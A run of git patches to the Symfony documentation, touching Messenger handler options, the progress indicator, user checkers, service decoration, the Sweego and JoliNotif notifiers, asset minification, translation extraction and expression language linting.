-``priority``                  Priority of the handler when multiple handlers can process the same message.
-============================  ====================================================================================================
+``bus``
+    Name of the bus from which the handler can receive messages, by default all buses.
+
+``from_transport``
+    Name of the transport from which the handler can receive messages, by default
+    all transports.
+
+``handles``
+    Type of messages (FQCN) that can be processed by the handler, only needed if
+    can't be guessed by type-hint.
+
+``method``
+    Name of the method that will process the message.
+
+``priority``
+    Priority of the handler when multiple handlers can process the same message.
 
 .. _handler-subscriber-options:
 

From 9d85b6904c11777c31263b276152ad980cbd08fc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 16:43:56 +0200
Subject: [PATCH 5102/5766] Tweaks

---
 components/console/helpers/progressindicator.rst | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
index 1d4384958e9..0defe7c83fd 100644
--- a/components/console/helpers/progressindicator.rst
+++ b/components/console/helpers/progressindicator.rst
@@ -99,9 +99,10 @@ The progress indicator will now look like this:
      ⢸ Processing...
      ✔ Finished
 
-Once the progress indicator is finished, it uses the finishedIndicator value (which defaults to ✔). You can replace it with your own::
+Once the progress finishes, it displays a special finished indicator (which defaults
+to ✔). You can replace it with your own::
 
-    $progressIndicator = new ProgressIndicator($output, 'verbose', 100, null, '🎉');
+    $progressIndicator = new ProgressIndicator($output, finishedIndicatorValue: '🎉');
     
     try {
         /* do something */
@@ -110,6 +111,15 @@ Once the progress indicator is finished, it uses the finishedIndicator value (wh
         $progressIndicator->finish('Failed', '🚨');
     }
 
+The progress indicator will now look like this:
+
+.. code-block:: text
+
+     \ Processing...
+     | Processing...
+     / Processing...
+     - Processing...
+     🎉 Finished
 
 .. versionadded:: 7.2
 

From 6473d6c91f016b26b28ec8dc083fc300b0525133 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 16:50:50 +0200
Subject: [PATCH 5103/5766] Finished the docs

---
 security/user_checkers.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 1e1dcaf3e55..ec8f49da522 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -21,6 +21,8 @@ displayed to the user::
     namespace App\Security;
 
     use App\Entity\User as AppUser;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
     use Symfony\Component\Security\Core\Exception\AccountExpiredException;
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAccountStatusException;
     use Symfony\Component\Security\Core\User\UserCheckerInterface;
@@ -50,9 +52,17 @@ displayed to the user::
             if ($user->isExpired()) {
                 throw new AccountExpiredException('...');
             }
+
+            if (!\in_array('foo', $token->getRoleNames())) {
+                throw new AccessDeniedException('...');
+            }
         }
     }
 
+.. versionadded:: 7.2
+
+    The ``token`` argument for the ``checkPostAuth()`` method was introduced in Symfony 7.2.
+
 Enabling the Custom User Checker
 --------------------------------
 

From 776f7e899f3a24fa79245fc9fd193aac3ffef03b Mon Sep 17 00:00:00 2001
From: chx <chx1975@gmail.com>
Date: Thu, 15 Sep 2022 12:29:59 -0700
Subject: [PATCH 5104/5766] Update service_decoration.rst

Note service tags.
---
 service_container/service_decoration.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 11e6ed9f8bf..a40d4784e1d 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -128,7 +128,9 @@ but keeps a reference of the old one as ``.inner``:
     The ``#[AsDecorator]`` attribute was introduced in Symfony 6.1.
 
 The ``decorates`` option tells the container that the ``App\DecoratingMailer``
-service replaces the ``App\Mailer`` service. If you're using the
+service replaces the ``App\Mailer`` service. 
+:ref:`Service tags<How to Work with Service Tags> are moved as well. 
+If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 the decorated service is automatically injected when the constructor of the
 decorating service has one argument type-hinted with the decorated service class.

From df61a96a460be93fa9269c260f00e1c2cfe8102a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 17:46:03 +0200
Subject: [PATCH 5105/5766] Reword

---
 service_container/service_decoration.rst | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index a40d4784e1d..ea6b60ef2c3 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -128,9 +128,7 @@ but keeps a reference of the old one as ``.inner``:
     The ``#[AsDecorator]`` attribute was introduced in Symfony 6.1.
 
 The ``decorates`` option tells the container that the ``App\DecoratingMailer``
-service replaces the ``App\Mailer`` service. 
-:ref:`Service tags<How to Work with Service Tags> are moved as well. 
-If you're using the
+service replaces the ``App\Mailer`` service. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 the decorated service is automatically injected when the constructor of the
 decorating service has one argument type-hinted with the decorated service class.
@@ -219,12 +217,20 @@ automatically changed to ``'.inner'``):
     Instead, use the
     :class:`#[AutowireDecorated] <Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated>` attribute.
 
-.. tip::
+.. note::
 
     The visibility of the decorated ``App\Mailer`` service (which is an alias
     for the new service) will still be the same as the original ``App\Mailer``
     visibility.
 
+.. note::
+
+    All custom :ref:`service tags </service_container/tags>`_ from the decorated
+    service are removed in the new service. Only certain built-in service tags
+    defined by Symfony are retained: ``container.service_locator``, ``container.service_subscriber``,
+    ``kernel.event_subscriber``, ``kernel.event_listener``, ``kernel.locale_aware``,
+    and ``kernel.reset``.
+
 .. note::
 
     The generated inner id is based on the id of the decorator service

From a808be01b3e2acac99611b69d0966e8534c5ae5a Mon Sep 17 00:00:00 2001
From: Sylvain Ferlac <cirdan@users.noreply.github.com>
Date: Wed, 16 Oct 2024 18:30:34 +0200
Subject: [PATCH 5106/5766] Fix typo preventing link to be parsed

The documentation website displays a commit hash, instead of the link to the tags section
---
 service_container/service_decoration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index ea6b60ef2c3..53329409da6 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -225,7 +225,7 @@ automatically changed to ``'.inner'``):
 
 .. note::
 
-    All custom :ref:`service tags </service_container/tags>`_ from the decorated
+    All custom :ref:`service tags </service_container/tags>` from the decorated
     service are removed in the new service. Only certain built-in service tags
     defined by Symfony are retained: ``container.service_locator``, ``container.service_subscriber``,
     ``kernel.event_subscriber``, ``kernel.event_listener``, ``kernel.locale_aware``,

From 4dae8cacf8b1842bf253335c140f0284c7691289 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 19:15:43 +0200
Subject: [PATCH 5107/5766] Minor tweak

---
 service_container/service_decoration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 53329409da6..97c4c25090b 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -225,7 +225,7 @@ automatically changed to ``'.inner'``):
 
 .. note::
 
-    All custom :ref:`service tags </service_container/tags>` from the decorated
+    All custom :doc:`service tags </service_container/tags>` from the decorated
     service are removed in the new service. Only certain built-in service tags
     defined by Symfony are retained: ``container.service_locator``, ``container.service_subscriber``,
     ``kernel.event_subscriber``, ``kernel.event_listener``, ``kernel.locale_aware``,

From 9f4cdcd54d44cab5a388ccad90d0c40cdc65fac8 Mon Sep 17 00:00:00 2001
From: AndoniLarz <andoni@larzabal.eu>
Date: Fri, 7 Jun 2024 16:46:54 +0200
Subject: [PATCH 5108/5766] [Contributing] Add documentation for rebasing when
 contributing to the docs

---
 contributing/documentation/overview.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index aae2c397dec..8b6662f18b2 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -136,6 +136,10 @@ even remove any content and do your best to comply with the
 
 **Step 6.** **Push** the changes to your forked repository:
 
+Before submitting your PR, you may have to update your branch as described in :doc:`the code contribution guide </contributing/code/pull_requests#rebase-your-pull-request>`.
+
+Then, you can push your changes:
+
 .. code-block:: terminal
 
     $ git push origin improve_install_article

From 3a6235741edfd421ca32f9ac2b81dd237f54cfc4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Oct 2024 10:14:44 +0200
Subject: [PATCH 5109/5766] Reword

---
 contributing/documentation/overview.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 8b6662f18b2..183910e6ac6 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -136,10 +136,6 @@ even remove any content and do your best to comply with the
 
 **Step 6.** **Push** the changes to your forked repository:
 
-Before submitting your PR, you may have to update your branch as described in :doc:`the code contribution guide </contributing/code/pull_requests#rebase-your-pull-request>`.
-
-Then, you can push your changes:
-
 .. code-block:: terminal
 
     $ git push origin improve_install_article
@@ -189,6 +185,9 @@ changes and push the new changes:
 
     $ git push
 
+It's rare, but you might be asked to rebase your pull request to target another
+Symfony branch. Read the :ref:`guide on rebasing pull requests <rebase-your-patch>`.
+
 **Step 10.** After your pull request is eventually accepted and merged in the
 Symfony documentation, you will be included in the `Symfony Documentation
 Contributors`_ list. Moreover, if you happen to have a `SymfonyConnect`_

From f932585d967262ffcd0f2b63ac47faa043e9d3bf Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Sat, 19 Oct 2024 16:52:24 +0200
Subject: [PATCH 5110/5766] Add Sweego Notifier doc

---
 notifier.rst | 6 +++++-
 webhook.rst  | 1 +
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index b2329b2b28a..144044ebe3e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -187,6 +187,9 @@ Service
 `SpotHit`_          **Install**: ``composer require symfony/spot-hit-notifier`` \
                     **DSN**: ``spothit://TOKEN@default?from=FROM`` \
                     **Webhook support**: No
+`Sweego`_           **Install**: ``composer require symfony/sweego-notifier`` \
+                    **DSN**: ``sweego://API_KEY@default?region=REGION&campaign_type=CAMPAIGN_TYPE`` \
+                    **Webhook support**: Yes
 `Telnyx`_           **Install**: ``composer require symfony/telnyx-notifier`` \
                     **DSN**: ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID`` \
                     **Webhook support**: No
@@ -225,7 +228,7 @@ Service
 
 .. versionadded:: 7.2
 
-    The ``Primotexto`` and ``Sipgate`` integrations were introduced in Symfony 7.2.
+    The ``Primotexto``, ``Sipgate`` and ``Sweego`` integrations were introduced in Symfony 7.2.
 
 .. deprecated:: 7.1
 
@@ -1239,6 +1242,7 @@ is dispatched. Listeners receive a
 .. _`SMSense`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SMSense/README.md
 .. _`SmsSluzba`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsSluzba/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
+.. _`Sweego`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sweego/README.md
 .. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md
 .. _`Telnyx`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telnyx/README.md
 .. _`TurboSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/TurboSms/README.md
diff --git a/webhook.rst b/webhook.rst
index 6b79da037e4..aba95cffb04 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -166,6 +166,7 @@ Currently, the following third-party SMS transports support webhooks:
 SMS service  Parser service name
 ============ ==========================================
 Twilio       ``notifier.webhook.request_parser.twilio``
+Sweego       ``notifier.webhook.request_parser.sweego``
 Vonage       ``notifier.webhook.request_parser.vonage``
 ============ ==========================================
 

From 9c81e1cb54f25e5f142c4f39f18a4086f41cc71b Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sat, 19 Oct 2024 21:37:37 +0200
Subject: [PATCH 5111/5766] update external link on messenger doc

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 1d0be35b088..b546082b100 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2695,7 +2695,7 @@ Learn more
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
 .. _`PCNTL`: https://www.php.net/manual/book.pcntl.php
-.. _`systemd docs`: https://www.freedesktop.org/wiki/Software/systemd/
+.. _`systemd docs`: https://systemd.io/
 .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer
 .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html

From ef9baef15df2f02bec0221f78cbab3151695f542 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 21 Oct 2024 08:56:56 +0200
Subject: [PATCH 5112/5766] fix param name for lint:translations

---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 4663d9d7c15..a1d012f3b38 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1405,7 +1405,7 @@ to check that the translation contents are also correct:
         $ php bin/console lint:translations
 
         # checks the contents of the translation catalogues for Italian (it) and Japanese (ja) locales
-        $ php bin/console lint:translations --locales=it --locales=ja
+        $ php bin/console lint:translations --locale=it --locale=ja
 
 .. versionadded:: 7.2
 

From f08d2bc323dd1970b809a71a5eff2a09d01b6811 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Oct 2024 10:48:27 +0200
Subject: [PATCH 5113/5766] [Frontend] Add some comments about minifying assets

---
 frontend.rst              | 14 ++++++++++----
 frontend/asset_mapper.rst | 14 +++++++++++---
 2 files changed, 21 insertions(+), 7 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 05f7e6c69df..0ae9959e0e7 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -34,10 +34,10 @@ Supports `Stimulus/UX`_           yes                                 yes
 Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
 Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
 Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
-Removes comments from JavaScript  no                                  yes
-Removes comments from CSS         no                                  no
+Removes comments from JavaScript  no :ref:`[2] <ux-note-2>`           yes
+Removes comments from CSS         no :ref:`[2] <ux-note-2>`           no
 Versioned assets                  always                              optional
-Can update 3rd party packages     yes                                 no :ref:`[2] <ux-note-2>`
+Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-2>`
 ================================  ==================================  ==========
 
 .. _ux-note-1:
@@ -49,7 +49,12 @@ be executed by a browser.
 
 .. _ux-note-2:
 
-**[2]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
+**[2]** You can install the `SensioLabs Minify Bundle`_ to minify CSS/JS code
+(and remove all comments) when compiling assets with AssetMapper.
+
+.. _ux-note-3:
+
+**[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
 
 .. _frontend-asset-mapper:
 
@@ -137,3 +142,4 @@ Other Front-End Articles
 .. _`Turbo`: https://turbo.hotwired.dev/
 .. _`Symfony UX`: https://ux.symfony.com
 .. _`API Platform`: https://api-platform.com/
+.. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c9e5d543846..1b0329d402d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -722,9 +722,16 @@ See :ref:`Optimization <optimization>` for more details.
 Does the AssetMapper Component Minify Assets?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Nope! Minifying or compressing assets *is* important, but can be
-done by your web server. See :ref:`Optimization <optimization>` for
-more details.
+Nope! In most cases, this is perfectly fine. The web asset compression performed
+by web servers before sending them is usually sufficient. However, if you think
+you could benefit from minifying assets (in addition to later compressing them),
+you can use the `SensioLabs Minify Bundle`_.
+
+This bundle integrates seamlessly with AssetMapper and minifies all web assets
+automatically when running the ``asset-map:compile`` command (as explained in
+the :ref:`serving assets in production <asset-mapper-compile-assets>` section).
+
+See :ref:`Optimization <optimization>` for more details.
 
 Is the AssetMapper Component Production Ready? Is it Performant?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1180,3 +1187,4 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
 .. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling
 .. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle
+.. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle

From 58e9f4a9a6984bf0ca8987e81ab5735cc946445f Mon Sep 17 00:00:00 2001
From: antonioortegajr <antonioortegajr@gmail.com>
Date: Wed, 23 Oct 2024 15:39:00 -0700
Subject: [PATCH 5114/5766] correct grammer introduction.rst

add "to" inb a sentence
---
 create_framework/introduction.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index d3574de4c94..7a1e6b2ad50 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -29,7 +29,7 @@ a few good reasons to start creating your own framework:
 * To refactor an old/existing application that needs a good dose of recent web
   development best practices;
 
-* To prove the world that you can actually create a framework on your own (...
+* To prove to the world that you can actually create a framework on your own (...
   but with little effort).
 
 This tutorial will gently guide you through the creation of a web framework,

From 67e2b2e4fe8fedf09ea79f9decc7f201dfec0cab Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 26 Oct 2024 18:04:51 +0200
Subject: [PATCH 5115/5766] fix footnote reference

---
 frontend.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index 0ae9959e0e7..f498dc737b5 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -37,7 +37,7 @@ Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no :ref:`[2] <ux-note-2>`           yes
 Removes comments from CSS         no :ref:`[2] <ux-note-2>`           no
 Versioned assets                  always                              optional
-Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-2>`
+Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-3>`
 ================================  ==================================  ==========
 
 .. _ux-note-1:

From b8e5d0c59bf7a287687317026f56b7f5cd8d1f03 Mon Sep 17 00:00:00 2001
From: Jawira Portugal <dev@tugal.be>
Date: Sun, 27 Oct 2024 19:23:45 +0100
Subject: [PATCH 5116/5766] Add --prefix and --no-fill to translation page

---
 translation.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/translation.rst b/translation.rst
index a1d012f3b38..2bbce00977a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -467,8 +467,33 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
+By default, the ``translation:extract`` command extracts new messages in
+*message/translation* pairs, with the translation populated with the same
+text as the message, prefixed by ``__``. You can customize this prefix using
+the ``--prefix`` option.
+
+If you want to leave new translations empty, use the ``--no-fill`` option.
+When enabled, only messages are created, and the translation strings are left
+empty. This is particularly useful when using external translation tools, as
+it ensures untranslated strings are easily identifiable without any pre-filled
+content. Note that when ``--no-fill`` is used, the ``--prefix`` option has
+no effect.
+
+.. code-block:: terminal
+
+    # changes default prefix
+    $ php bin/console translation:extract --force --prefix="NEW_" fr
+
+    # leaves new translations empty
+    $ php bin/console translation:extract --force --no-fill fr
+
+.. versionadded:: 7.2
+
+    The ``--no-fill`` option was introduced in Symfony 7.2.
+
 .. _translation-resource-locations:
 
+
 Translation Resource/File Names and Locations
 ---------------------------------------------
 

From d558cc884520f8febedb99e7f3bfbfe1348c30d1 Mon Sep 17 00:00:00 2001
From: decima <1727893+decima@users.noreply.github.com>
Date: Sun, 27 Oct 2024 10:09:29 +0100
Subject: [PATCH 5117/5766] updating expression language documentation

---
 components/expression_language.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index f718f928702..7f98ee90de2 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -93,7 +93,7 @@ The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse`
 method returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`
 instance that can be used to inspect and manipulate the expression. The
 :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::lint`, on the
-other hand, returns a boolean indicating if the expression is valid or not::
+other hand, throws a :class:`Symfony\\Component\\ExpressionLanguage\\SyntaxError` if the expression is not valid::
 
     use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
 
@@ -103,7 +103,7 @@ other hand, returns a boolean indicating if the expression is valid or not::
     // displays the AST nodes of the expression which can be
     // inspected and manipulated
 
-    var_dump($expressionLanguage->lint('1 + 2', [])); // displays true
+    $expressionLanguage->lint('1 + 2', []); // doesn't throw anything
 
 Passing in Variables
 --------------------

From 0860ccaf88a5d3d8599832f4af9d02d6ffe139c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Oct 2024 13:01:22 +0100
Subject: [PATCH 5118/5766] Minor tweak

---
 components/expression_language.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 7f98ee90de2..7133932da28 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -93,7 +93,8 @@ The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse`
 method returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`
 instance that can be used to inspect and manipulate the expression. The
 :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::lint`, on the
-other hand, throws a :class:`Symfony\\Component\\ExpressionLanguage\\SyntaxError` if the expression is not valid::
+other hand, throws a :class:`Symfony\\Component\\ExpressionLanguage\\SyntaxError`
+if the expression is not valid::
 
     use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
 

From 65a14d07553951cf305069d4d56485898d8121b6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Oct 2024 17:59:56 +0100
Subject: [PATCH 5119/5766] Minor tweaks

---
 translation.rst | 26 ++++++++++++--------------
 1 file changed, 12 insertions(+), 14 deletions(-)

diff --git a/translation.rst b/translation.rst
index 2bbce00977a..a41b305dc8b 100644
--- a/translation.rst
+++ b/translation.rst
@@ -467,24 +467,23 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
-By default, the ``translation:extract`` command extracts new messages in
-*message/translation* pairs, with the translation populated with the same
-text as the message, prefixed by ``__``. You can customize this prefix using
-the ``--prefix`` option.
-
-If you want to leave new translations empty, use the ``--no-fill`` option.
-When enabled, only messages are created, and the translation strings are left
-empty. This is particularly useful when using external translation tools, as
-it ensures untranslated strings are easily identifiable without any pre-filled
-content. Note that when ``--no-fill`` is used, the ``--prefix`` option has
-no effect.
+By default, when the ``translation:extract`` command creates new entries in the
+trnaslation file, it uses the same content as both the source and the pending
+translation. The only difference is that the pending translation is prefixed by
+``__``. You can customize this prefix using the ``--prefix`` option:
 
 .. code-block:: terminal
 
-    # changes default prefix
     $ php bin/console translation:extract --force --prefix="NEW_" fr
 
-    # leaves new translations empty
+Alternatively, you can use the ``--no-fill`` option to leave the pending translation
+completely empty when creating new entries in the translation catalog. This is
+particularly useful when using external translation tools, as it makes it easier
+to spot untranslated strings:
+
+.. code-block:: terminal
+
+    # when using the --no-fill option, the --prefix option is ignored
     $ php bin/console translation:extract --force --no-fill fr
 
 .. versionadded:: 7.2
@@ -493,7 +492,6 @@ no effect.
 
 .. _translation-resource-locations:
 
-
 Translation Resource/File Names and Locations
 ---------------------------------------------
 

From 562893be94672b5987b74521d8abebac4d618d30 Mon Sep 17 00:00:00 2001
From: Jawira Portugal <dev@tugal.be>
Date: Mon, 28 Oct 2024 22:10:26 +0100
Subject: [PATCH 5120/5766] fix typo

---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index a41b305dc8b..0e5f09d342e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -468,7 +468,7 @@ The ``translation:extract`` command looks for missing translations in:
         $ composer require nikic/php-parser
 
 By default, when the ``translation:extract`` command creates new entries in the
-trnaslation file, it uses the same content as both the source and the pending
+translation file, it uses the same content as both the source and the pending
 translation. The only difference is that the pending translation is prefixed by
 ``__``. You can customize this prefix using the ``--prefix`` option:
 

From e033e433ab3d65e88fc5470662ecc485fc3117a6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Oct 2024 10:07:55 +0100
Subject: [PATCH 5121/5766] [Notifier] Add some examples to the new Desktop
 channel notifications

---
 notifier.rst | 71 ++++++++++++++++++++++++++++++++++++++++++++--------
 1 file changed, 61 insertions(+), 10 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 144044ebe3e..b28bb541475 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -33,8 +33,14 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
-* :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications.
-* :ref:`Desktop channel <notifier-desktop-channel>` displays desktop notifications on the same host machine.
+* :ref:`Push channel <notifier-push-channel>` sends notifications to phones and
+  browsers via push notifications.
+* :ref:`Desktop channel <notifier-desktop-channel>` displays desktop notifications
+  on the same host machine.
+
+.. versionadded:: 7.2
+
+    The ``Desktop`` channel was introduced in Symfony 7.2.
 
 .. _notifier-sms-channel:
 
@@ -635,9 +641,9 @@ configure the ``texter_transports``:
 Desktop Channel
 ~~~~~~~~~~~~~~~
 
-The desktop channel is used to display desktop notifications on the same host machine using
-:class:`Symfony\\Component\\Notifier\\Texter` classes. Currently, Symfony
-is integrated with the following providers:
+The desktop channel is used to display local desktop notifications on the same
+host machine using :class:`Symfony\\Component\\Notifier\\Texter` classes. Currently,
+Symfony is integrated with the following providers:
 
 ===============  ====================================  ==============================================================================
 Provider         Package                               DSN
@@ -645,18 +651,23 @@ Provider         Package                               DSN
 `JoliNotif`_     ``symfony/joli-notif-notifier``       ``jolinotif://default``
 ===============  ====================================  ==============================================================================
 
-.. versionadded: 7.2
+.. versionadded:: 7.2
 
     The JoliNotif bridge was introduced in Symfony 7.2.
 
-To enable a texter, add the correct DSN in your ``.env`` file and
-configure the ``texter_transports``:
+If you are using :ref:`Symfony Flex <symfony-flex>`, installing that package will
+also create the necessary environment variable and configuration. Otherwise, you'll
+need to add the following manually:
+
+1) Add the correct DSN in your ``.env`` file:
 
 .. code-block:: bash
 
     # .env
     JOLINOTIF=jolinotif://default
 
+2) Update the Notifier configuration to add a new texter transport:
+
 .. configuration-block::
 
     .. code-block:: yaml
@@ -699,9 +710,49 @@ configure the ``texter_transports``:
             ;
         };
 
-.. versionadded:: 7.2
+Now you can send notifications to your desktop as follows::
 
-    The ``Desktop`` channel was introduced in Symfony 7.2.
+    // src/Notifier/SomeService.php
+    use Symfony\Component\Notifier\Message\DesktopMessage;
+    use Symfony\Component\Notifier\TexterInterface;
+    // ...
+
+    class SomeService
+    {
+        public function __construct(
+            private TexterInterface $texter,
+        ) {
+        }
+
+        public function notifyNewSubscriber(User $user): void
+        {
+            $message = new DesktopMessage(
+                'New subscription! 🎉',
+                sprintf('%s is a new subscriber', $user->getFullName())
+            );
+
+            $texter->send($message);
+        }
+    }
+
+These notifications can be customized further, and depending on your operating system,
+they may support features like custom sounds, icons, and more::
+
+    use Symfony\Component\Notifier\Bridge\JoliNotif\JoliNotifOptions;
+    // ...
+
+    $options = (new JoliNotifOptions())
+        ->setIconPath('/path/to/icons/error.png')
+        ->setExtraOption('sound', 'sosumi')
+        ->setExtraOption('url', 'https://example.com');
+
+    $message = new DesktopMessage('Production is down', <<<CONTENT
+        ❌ Server prod-1 down
+        ❌ Server prod-2 down
+        ✅ Network is up
+        CONTENT, $options);
+
